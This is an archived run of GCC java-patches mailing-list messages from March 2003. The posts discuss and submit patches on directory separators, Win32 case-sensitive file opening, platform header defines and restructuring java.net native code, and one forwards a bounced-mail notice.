7bit Hi all, http://gcc.gnu.org/ml/java-patches/2003-q1/msg00709.html any comments on this? Ok, not ok? Thanks for any comment. Andreas P.S, testresults @ the usual place. From java-patches-return-6482-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 08:33:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 398 invoked by alias); 16 Mar 2003 08:33:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 315 invoked from network); 16 Mar 2003 08:33:45 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 16 Mar 2003 08:33:45 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2G8XZS11664; Sun, 16 Mar 2003 08:33:35 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15988.14047.734761.833453@cuddles.cambridge.redhat.com> Date: Sun, 16 Mar 2003 08:33:35 +0000 (GMT) To: gnustuff@thisiscool.com Cc: GCJ Patches Subject: Patch: Change hardcoded '/' to DIR_SEPARATOR in jcf-io.c In-Reply-To: <63655197SNUSGEUM04XTUPWSL1PM.3e741350@p733> References: <63655197SNUSGEUM04XTUPWSL1PM.3e741350@p733> You sent this to the wrong list again! :-) Andrew. From java-patches-return-6483-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 08:43:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2936 invoked by alias); 16 Mar 2003 08:43:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2825 invoked from network); 16 Mar 2003 08:43:08 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 16 Mar 2003 08:43:08 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2G8h4I11682; Sun, 16 Mar 2003 08:43:04 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15988.14616.170259.759146@cuddles.cambridge.redhat.com> Date: Sun, 16 Mar 2003 08:43:04 +0000 (GMT) To: tromey@redhat.com Cc: java-patches@gcc.gnu.org Subject: Patch: name finder fixlets In-Reply-To: <87of4dmutg.fsf@fleche.redhat.com> References: <87of4dmutg.fsf@fleche.redhat.com> Tom Tromey writes: > This fixes a couple NameFinder bugs. > > First, we fail gracefully if the input stream is closed on us. > This can happen if you are running an ancient c++filt. > > Second, we don't leak memory, and we allocate less memory in a common > case. > > Andrew, what do you think? > I want to commit to trunk and branch. Marvellous, thank you. Andrew. From java-patches-return-6484-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 14:09:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27578 invoked by alias); 16 Mar 2003 14:09:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27484 invoked from network); 16 Mar 2003 14:09:05 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 16 Mar 2003 14:09:05 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2GE8wG03353; Sun, 16 Mar 2003 08:08:58 -0600 From: Mohan Embar To: Andrew Haley Cc: GCJ Patches Date: Sun, 16 Mar 2003 08:08:58 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15988.14047.734761.833453@cuddles.cambridge.redhat.com> Message-Id: Subject: Re: Patch: Change hardcoded '/' to DIR_SEPARATOR in jcf-io.c MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" >You sent this to the wrong list again! :-) Sorry Andrew. I got used to seeing previous patches of this nature going here only. I'll resubmit it.... -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6485-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 14:10:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4440 invoked by alias); 16 Mar 2003 14:10:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4412 invoked from network); 16 Mar 2003 14:10:40 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 16 Mar 2003 14:10:40 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2GEAdG03648; Sun, 16 Mar 2003 08:10:39 -0600 From: Mohan Embar To: gcc-patches@gcc.gnu.org Cc: GCJ Patches Date: Sun, 16 Mar 2003 08:10:39 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <3YBNL98GA4X5RM8MKPM31HPMZX3W.3e7485df@p733> Subject: Patch: Change hardcoded '/' to DIR_SEPARATOR in jcf-io.c MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" (Resubmitted to both gcc-patches and java-patches. The patch itself is unchanged.) Hi Patch People, This patch is needed to produce correct behavior when scandir()/alphasort() are present on Win32 platforms. It also seems to make more sense for all platforms because it eliminates a hardcoded directory separator. This has nothing to do with the Win32 case sensitivity patch I will resubmit soon. Tested on i686-pc-mingw32 and i686-pc-linux-gnu. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-15 Mohan Embar * jcf-io.c (find_class): use DIR_SEPARATOR instead of '/' when computing java source filename Index: jcf-io.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.36.2.2 diff -u -2 -r1.36.2.2 jcf-io.c --- jcf-io.c 10 Mar 2003 19:32:23 -0000 1.36.2.2 +++ jcf-io.c 16 Mar 2003 05:44:47 -0000 @@ -524,5 +524,5 @@ l = strlen (java_buffer); for (m = 0; m < classname_length; ++m) - java_buffer[m + l] = (classname[m] == '.' ? '/' : classname[m]); + java_buffer[m + l] = (classname[m] == '.' ? DIR_SEPARATOR : classname[m]); strcpy (java_buffer + m + l, ".java"); java = caching_stat (java_buffer, &java_buf); From java-patches-return-6486-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 16:31:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12047 invoked by alias); 16 Mar 2003 16:31:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12000 invoked from network); 16 Mar 2003 16:31:33 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 16 Mar 2003 16:31:33 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-110.ewetel.net [80.228.68.110]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2GGVV8G007246 for ; Sun, 16 Mar 2003 17:31:32 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18ub1q-0000xw-00 for ; Sun, 16 Mar 2003 17:30:30 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files Date: Sun, 16 Mar 2003 17:31:44 +0100 User-Agent: KMail/1.5 References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> In-Reply-To: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303161731.47699.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Sonntag, 16. M=E4rz 2003 04:28 schrieb Mohan Embar: > Michael, > > >Here is a patch which moves the native code of java.net into > >architecture dependant files for better/easier maintaining, as > >requested by several people. > > To my untrained eyes, this looks nice. I'm especially eager to have > this in place so we can sort out things like the strerror() stuff > being broken in Win32. Ranjit, do you agree with me that even if > the Win32 code isn't perfect, we can sort things out once the split > has been made? > > I have a couple of comments. Please let me know if I've > misunderstood something or gotten the facts wrong: > > - Is it a done deal that all eCos variants will never have any net > code in them? If not, the naming conventions seem to establish the > equivalence between the eCos platform and java.net functionality > being disabled. Is this confusing from a naming standpoint? What if > instead of natInetAddressEcos.cc (for example), you had > natInetAddressNoNet.cc and made another variable called > NET_PLATFORM which factored in not only PLATFORM, but also whether > enable_java_net was "no"? As I understood it Ecos is more used as a synomynon for a=20 non-supported architecture. At least I think I read that on the lists=20 (a comment from Tom I think). > >Question: Is it useful to point to "ecos" for the native java.net > > code when DISABLE_JAVA_NET is defined ? This would make the code > > in the "posix" target a little bit clearer. Any ideas for this ? > > - This would clean up the Win32 target too. If you did what I > previously mentioned, you could safely eliminate the duplicate code > within the #ifdef DISABLE_JAVA_NET...#endif sections of the Posix > and Win32 files because > > AC_LINK_FILES(java/net/natInetAddress${NET_PLATFORM}.cc, > java/lang/natInetAddress.cc) > > would have NET_PLATFORM=3DNoNet when say PLATFORM=3DWin32 and > enable_java_net was "no". > > Does this make any sense or have I not understood things correctly? Makes sense to me too. Let us see what Tom and Andrew think about=20 this. They have to decide. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dKbzWSOgCCdjSDsRAu7iAJkBLOXa1LaAJ34XME8ew1XRtVB0QQCfV5o+ RbEMUdjBNkKhxe9UVLybJlg=3D =3DW10Z =2D----END PGP SIGNATURE----- From java-patches-return-6487-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 00:41:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7828 invoked by alias); 17 Mar 2003 00:41:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7758 invoked from network); 17 Mar 2003 00:41:03 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 17 Mar 2003 00:41:03 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA04205; Sun, 16 Mar 2003 17:41:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EB65D4F8672; Sun, 16 Mar 2003 17:35:41 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: Remove some ifdefs From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Join the PLUMBER'S UNION!! Date: 16 Mar 2003 17:35:39 -0700 Message-ID: <87el567rtw.fsf@fleche.redhat.com> Lines: 196 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This removes a few platform-specific ifdefs from some of the core and instead moves them into the platform header. I think our goal should be to have no platform-specific (as opposed to feature-specific) defines in the main code. There are still some in java.net (Michael Koch may be working on this though) and a few in jni.cc. The latter may require some minor code restructuring. Tom Index: libjava/ChangeLog from Tom Tromey * resolve.cc (ncode): Use _Jv_platform_ffi_abi. Include platform.h. * java/lang/natRuntime.cc (insertSystemProperties): Use _Jv_platform_path_separator. (nativeGetLibname): Use _Jv_platform_file_separator. (_load): Use _Jv_platform_onload_names. (onload_names): New global. * include/win32.h (_Jv_platform_file_separator): New define. (_Jv_platform_path_separator): Likewise. (_Jv_platform_onload_names): Likewise. (_Jv_platform_ffi_abi): Likewise. * include/posix.h (_Jv_platform_file_separator): New define. (_Jv_platform_path_separator): Likewise. (_Jv_platform_onload_names): Likewise. (_Jv_platform_ffi_abi): Likewise. Index: libjava/resolve.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/resolve.cc,v retrieving revision 1.37 diff -u -r1.37 resolve.cc --- libjava/resolve.cc 3 Feb 2003 21:07:22 -0000 1.37 +++ libjava/resolve.cc 17 Mar 2003 00:25:41 -0000 @@ -11,6 +11,7 @@ /* Author: Kresten Krab Thorup */ #include +#include #include @@ -1003,14 +1004,7 @@ memcpy (&jni_arg_types[offset], &closure->arg_types[0], arg_count * sizeof (ffi_type *)); - // NOTE: This must agree with the JNICALL definition in jni.h -#ifdef WIN32 -#define FFI_JNI_ABI FFI_STDCALL -#else -#define FFI_JNI_ABI FFI_DEFAULT_ABI -#endif - - if (ffi_prep_cif (&jni_cif, FFI_JNI_ABI, + if (ffi_prep_cif (&jni_cif, _Jv_platform_ffi_abi, extra_args + arg_count, rtype, jni_arg_types) != FFI_OK) throw_internal_error ("ffi_prep_cif failed for JNI function"); Index: libjava/include/posix.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/posix.h,v retrieving revision 1.16 diff -u -r1.16 posix.h --- libjava/include/posix.h 19 Feb 2003 16:28:37 -0000 1.16 +++ libjava/include/posix.h 17 Mar 2003 00:25:41 -0000 @@ -44,6 +44,18 @@ #define _Jv_platform_solib_prefix "lib" #define _Jv_platform_solib_suffix ".so" +// Separator for file name components. +#define _Jv_platform_file_separator ((jchar) '/') +// Separator for path components. +#define _Jv_platform_path_separator ((jchar) ':') + +// List of names for `JNI_OnLoad'. +#define _Jv_platform_onload_names { "JNI_OnLoad", NULL } + +// Type of libffi ABI used by JNICALL methods. NOTE: This must agree +// with the JNICALL definition in jni.h +#define _Jv_platform_ffi_abi FFI_DEFAULT_ABI + #ifndef DISABLE_JAVA_NET #include #endif Index: libjava/include/win32.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/win32.h,v retrieving revision 1.20 diff -u -r1.20 win32.h --- libjava/include/win32.h 13 Feb 2003 00:07:37 -0000 1.20 +++ libjava/include/win32.h 17 Mar 2003 00:25:41 -0000 @@ -24,6 +24,22 @@ #define _Jv_platform_solib_prefix "" #define _Jv_platform_solib_suffix ".dll" +// Separator for file name components. +#define _Jv_platform_file_separator ((jchar) '\\') +// Separator for path components. +#define _Jv_platform_path_separator ((jchar) ';') + +// List of names for `JNI_OnLoad'. On Win32, JNI_OnLoad is an +// "stdcall" function taking two pointers (8 bytes) as arguments. It +// could also have been exported as "JNI_OnLoad@8" (MinGW) or +// "_JNI_OnLoad@8" (MSVC). +#define _Jv_platform_onload_names \ + { "JNI_OnLoad", "JNI_OnLoad@8", "_JNI_OnLoad@8", NULL } + +// Type of libffi ABI used by JNICALL methods. NOTE: This must agree +// with the JNICALL definition in jni.h +#define _Jv_platform_ffi_abi FFI_STDCALL + #ifndef DISABLE_JAVA_NET // these errors cannot occur on Win32 Index: libjava/java/lang/natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.34 diff -u -r1.34 natRuntime.cc --- libjava/java/lang/natRuntime.cc 10 Mar 2003 19:45:30 -0000 1.34 +++ libjava/java/lang/natRuntime.cc 17 Mar 2003 00:25:42 -0000 @@ -140,6 +140,11 @@ _Jv_RunGC (); } +#ifdef USE_LTDL +// List of names for JNI_OnLoad. +static const char *onload_names[] = _Jv_platform_onload_names; +#endif + void java::lang::Runtime::_load (jstring path, jboolean do_search) { @@ -221,19 +226,16 @@ throw new UnsatisfiedLinkError (str); } - void *onload = lt_dlsym (h, "JNI_OnLoad"); - -#ifdef WIN32 - // On Win32, JNI_OnLoad is an "stdcall" function taking two pointers - // (8 bytes) as arguments. It could also have been exported as - // "JNI_OnLoad@8" (MinGW) or "_JNI_OnLoad@8" (MSVC). - if (onload == NULL) - { - onload = lt_dlsym (h, "JNI_OnLoad@8"); - if (onload == NULL) - onload = lt_dlsym (h, "_JNI_OnLoad@8"); + // Search for JNI_OnLoad function. + void *onload = NULL; + const char **name = onload_names; + while (*name != NULL) + { + onload = lt_dlsym (h, *name); + if (onload != NULL) + break; + ++name; } -#endif /* WIN32 */ if (onload != NULL) { @@ -570,11 +572,7 @@ if (classpath) { sb->append (JvNewStringLatin1 (classpath)); -#ifdef WIN32 - sb->append ((jchar) ';'); -#else - sb->append ((jchar) ':'); -#endif + sb->append (_Jv_platform_path_separator); } if (cp != NULL) sb->append (cp); @@ -632,14 +630,7 @@ java::lang::StringBuffer *sb = new java::lang::StringBuffer (); sb->append(pathname); if (pathname->length() > 0) - { - // FIXME: use platform function here. -#ifdef WIN32 - sb->append ((jchar) '\\'); -#else - sb->append ((jchar) '/'); -#endif - } + sb->append (_Jv_platform_file_separator); sb->append (JvNewStringLatin1 (_Jv_platform_solib_prefix)); sb->append(libname); From java-patches-return-6488-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 03:54:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1296 invoked by alias); 17 Mar 2003 03:54:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1249 invoked from network); 17 Mar 2003 03:54:15 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 17 Mar 2003 03:54:15 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2H3sE201803; Sun, 16 Mar 2003 21:54:15 -0600 From: Mohan Embar To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Date: Sun, 16 Mar 2003 21:54:18 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15984.59440.633327.515115@cuddles.cambridge.redhat.com> Message-Id: <5MHQMVRNLA7VPWSKF54652UK1XBA9.3e7546ea@p733> Subject: Patch: jcf-io.c and Win32 case-insensitive filename handling (updated) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Andrew, >Please fix the layout issues and rename the new file to win32-host.c. Here is an attempt at GNU-izing the source code as well as renaming the Win32-specific file to win32-host.c. I hope I got the source file conventions halfway right (and I'm sure you'll let me know if I didn't ;) ). I tested both the cross and i686-pc-mingw32 crossed-native compiler on i686-pc-linux-gnu. I also tested out the native compiler on i686-pc-mingw32. Things seemed to check out okay. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-16 Mohan Embar * Make-lang.in: added win32-host.c * jcf.h: defined macro JCF_OPEN_EXACT_CASE which resolves to open() on non-Win32 platforms and Win32-specific jcf_open_exact_case() on Win32 * jcf-io.c (find_class): use JCF_OPEN_EXACT_CASE when trying .java and .class files * win32-host.c: added to repository. Defines Win32-specific jcf_open_exact_case() Index: Make-lang.in =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/Make-lang.in,v retrieving revision 1.91.12.3 diff -u -2 -r1.91.12.3 Make-lang.in --- Make-lang.in 26 Jan 2003 11:31:19 -0000 1.91.12.3 +++ Make-lang.in 17 Mar 2003 03:39:53 -0000 @@ -107,16 +107,16 @@ JAVA_OBJS = java/parse.o java/class.o java/decl.o java/expr.o \ java/constants.o java/lang.o java/typeck.o java/except.o java/verify.o \ - java/zextract.o java/jcf-io.o java/jcf-parse.o java/mangle.o \ - java/mangle_name.o java/builtins.o \ + java/zextract.o java/jcf-io.o java/win32-host.o java/jcf-parse.o \ + java/mangle.o java/mangle_name.o java/builtins.o \ java/jcf-write.o java/buffer.o java/check-init.o java/jcf-depend.o \ java/jcf-path.o java/xref.o java/boehm.o java/java-tree-inline.o mkdeps.o -GCJH_OBJS = java/gjavah.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o version.o mkdeps.o errors.o +GCJH_OBJS = java/gjavah.o java/jcf-io.o java/win32-host.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o version.o mkdeps.o errors.o JVSCAN_OBJS = java/parse-scan.o java/jv-scan.o version.o -JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o errors.o version.o mkdeps.o +JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/win32-host.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o errors.o version.o mkdeps.o JVGENMAIN_OBJS = java/jvgenmain.o java/mangle_name.o errors.o @@ -302,4 +302,5 @@ input.h java/java-except.h $(SYSTEM_H) toplev.h java/parse.h $(GGC_H) \ debug.h real.h gt-java-jcf-parse.h +java/win32-host.o: java/win32-host.c $(CONFIG_H) $(SYSTEM_H) java/jcf.h java/jcf-write.o: java/jcf-write.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ $(RTL_H) java/java-opcodes.h java/parse.h java/buffer.h $(SYSTEM_H) \ Index: jcf-io.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.36.2.2 diff -u -2 -r1.36.2.2 jcf-io.c --- jcf-io.c 10 Mar 2003 19:32:23 -0000 1.36.2.2 +++ jcf-io.c 17 Mar 2003 03:39:55 -0000 @@ -554,5 +554,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY | O_BINARY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY | O_BINARY); if (fd >= 0) goto found; @@ -566,5 +566,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY); if (fd >= 0) { Index: jcf.h =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf.h,v retrieving revision 1.31.20.1 diff -u -2 -r1.31.20.1 jcf.h --- jcf.h 7 Mar 2003 04:39:46 -0000 1.31.20.1 +++ jcf.h 17 Mar 2003 03:39:55 -0000 @@ -82,4 +82,22 @@ #endif +/* On case-insensitive file systems, we need to ensure that a request + to open a .java or .class file is honored only if the file to be + opened is of the exact case we are asking for. In other words, we + want to override the inherent case insensitivity of the underlying + file system. On other platforms, this macro becomes the vanilla + open() call. + + If you want to add another host, add your define to the list below + (i.e. defined(WIN32) || defined(YOUR_HOST)) and add an host-specific + .c file to Make-lang.in similar to win32-host.c */ +#if defined(WIN32) +extern int +jcf_open_exact_case (const char* filename, int oflag); +#define JCF_OPEN_EXACT_CASE(X, Y) jcf_open_exact_case (X, Y) +#else +#define JCF_OPEN_EXACT_CASE open +#endif /* WIN32 */ + struct JCF; typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed)); Index: win32-host.c =================================================================== --- win32-host.c 2003-03-16 21:44:36.000000000 -0600 +++ win32-host.c 2003-03-16 18:44:47.000000000 -0600 @@ -0,0 +1,85 @@ +/* Platform-Specific Win32 Functions + Copyright (C) 2003 Free Software Foundation, Inc. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU CC; see the file COPYING. If not, write to +the Free Software Foundation, 59 Temple Place - Suite 330, +Boston, MA 02111-1307, USA. + +Java and all Java-based marks are trademarks or registered trademarks +of Sun Microsystems, Inc. in the United States and other countries. +The Free Software Foundation is independent of Sun Microsystems, Inc. */ + +/* Written by Mohan Embar , March 2003. */ + +#ifdef WIN32 + +#include "config.h" +#include "system.h" + +#include "jcf.h" + +#define WIN32_LEAN_AND_MEAN +#include +#undef WIN32_LEAN_AND_MEAN + +/* Simulate an open() failure with ENOENT */ +static int +file_not_found (void); + +static int +file_not_found (void) +{ + errno = ENOENT; + return -1; +} + +int +jcf_open_exact_case (const char *filename, int oflag) +{ + int filename_len = strlen (filename); + int found_file_len; + HANDLE found_file_handle; + WIN32_FIND_DATA fd; + + /* See if we can find this file. */ + found_file_handle = FindFirstFile (filename, &fd); + if (found_file_handle == INVALID_HANDLE_VALUE) + return file_not_found (); + FindClose (found_file_handle); + + found_file_len = strlen (fd.cFileName); + + /* This should never happen. */ + if (found_file_len > filename_len) + return file_not_found (); + + /* Here, we're only actually comparing the filename and not + checking the case of any containing directory components. + Although we're not fully obeying our contract, checking + all directory components would be tedious and time-consuming + and it's a pretty safe assumption that mixed-case package + names are a fringe case.... */ + if (strcmp (filename + filename_len - found_file_len, fd.cFileName)) + { + /* Reject this because it is not a perfect-case match. */ + /* printf("************\nRejected:\n%s\n%s\n************\n\n", filename, fd.cFileName); */ + return file_not_found (); + } + else + { + return open (filename, oflag); + } +} + +#endif /* WIN32 */ From java-patches-return-6489-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 04:35:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16493 invoked by alias); 17 Mar 2003 04:35:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16457 invoked from network); 17 Mar 2003 04:35:41 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.124) by sources.redhat.com with SMTP; 17 Mar 2003 04:35:41 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 16 Mar 2003 20:35:40 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Java Patches" Subject: Fw: ezmlm warning Date: Mon, 17 Mar 2003 10:07:14 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 17 Mar 2003 04:35:40.0816 (UTC) FILETIME=[AA3EB900:01C2EC3E] Hi, Every now and then, I get spurious bounced mail messages from the software that manages this list - a sample is attached below. I get almost all the messages normally, except for these mysterious few. The "65.54.254.140 does not like recipient" message does not make much sense to me nor does the following "Unable to relay for rmathew4lists@hotmail.com". Does anyone know what causes these weird bounces and how, if at all, I can help in sorting out matters? Does anyone else get these intermittent bounces as well? Ranjit. ----- Original Message ----- From: To: Sent: Saturday, March 15, 2003 5:31 PM Subject: ezmlm warning > Hi! This is the ezmlm program. I'm managing the > java-patches@gcc.gnu.org mailing list. > > > Messages to you from the java-patches mailing list seem to > have been bouncing. I've attached a copy of the first bounce > message I received. > > If this message bounces too, I will send you a probe. If the probe bounces, > I will remove your address from the java-patches mailing list, > without further notice. > > > I've kept a list of which messages from the java-patches mailing list have > bounced from your address. > > Copies of these messages may be in the archive. > To retrieve a set of messages 123-145 (a maximum of 100 per request), > send an empty message to: > > > To receive a subject and author list for the last 100 or so messages, > send an empty message to: > > > Here are the message numbers: > > 6355 > > --- Enclosed is a copy of the bounce message I received. > > Return-Path: <> > Received: (qmail 2317 invoked for bounce); 3 Mar 2003 16:49:58 -0000 > Date: 3 Mar 2003 16:49:58 -0000 > From: MAILER-DAEMON@sources.redhat.com > To: java-patches-return-6355-@gcc.gnu.org > Subject: failure notice > > Hi. This is the qmail-send program at sources.redhat.com. > I'm afraid I wasn't able to deliver your message to the following addresses. > This is a permanent error; I've given up. Sorry it didn't work out. > > : > 65.54.254.140 does not like recipient. > Remote host said: 550 5.7.1 Unable to relay for rmathew4lists@hotmail.com > Giving up on 65.54.254.140. > > From java-patches-return-6490-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 07:38:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30367 invoked by alias); 17 Mar 2003 07:38:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30360 invoked from network); 17 Mar 2003 07:38:19 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 17 Mar 2003 07:38:19 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-154.ewetel.net [80.228.67.154]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2H7cHdx029592 for ; Mon, 17 Mar 2003 08:38:18 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18upBK-0001Uf-00 for ; Mon, 17 Mar 2003 08:37:14 +0100 